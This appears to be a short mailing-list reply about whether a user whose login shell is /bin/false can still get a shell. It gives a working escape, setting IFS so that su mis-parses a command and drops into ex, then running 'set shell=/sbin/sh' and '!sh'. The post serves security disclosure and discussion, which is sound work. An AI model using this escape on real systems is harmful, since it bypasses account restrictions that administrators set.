Re: ? Trojan /usr/bin/false ?

[alan () cableol net (Alan Cox)]

> (Besides some silly Copyright and Version Information from AT&T).
> Is there a possibility that through obscure circumstances a user having
> /bin/false or /bin/true as a login shell ends up with /sbin/sh ?

Just about. If your telnetd/rlogind/su propogates IFS then a user
can do

IFS=" i"
export IFS
su
i not found or similar error
:

[they end up in ex]
set shell=/sbin/sh
!sh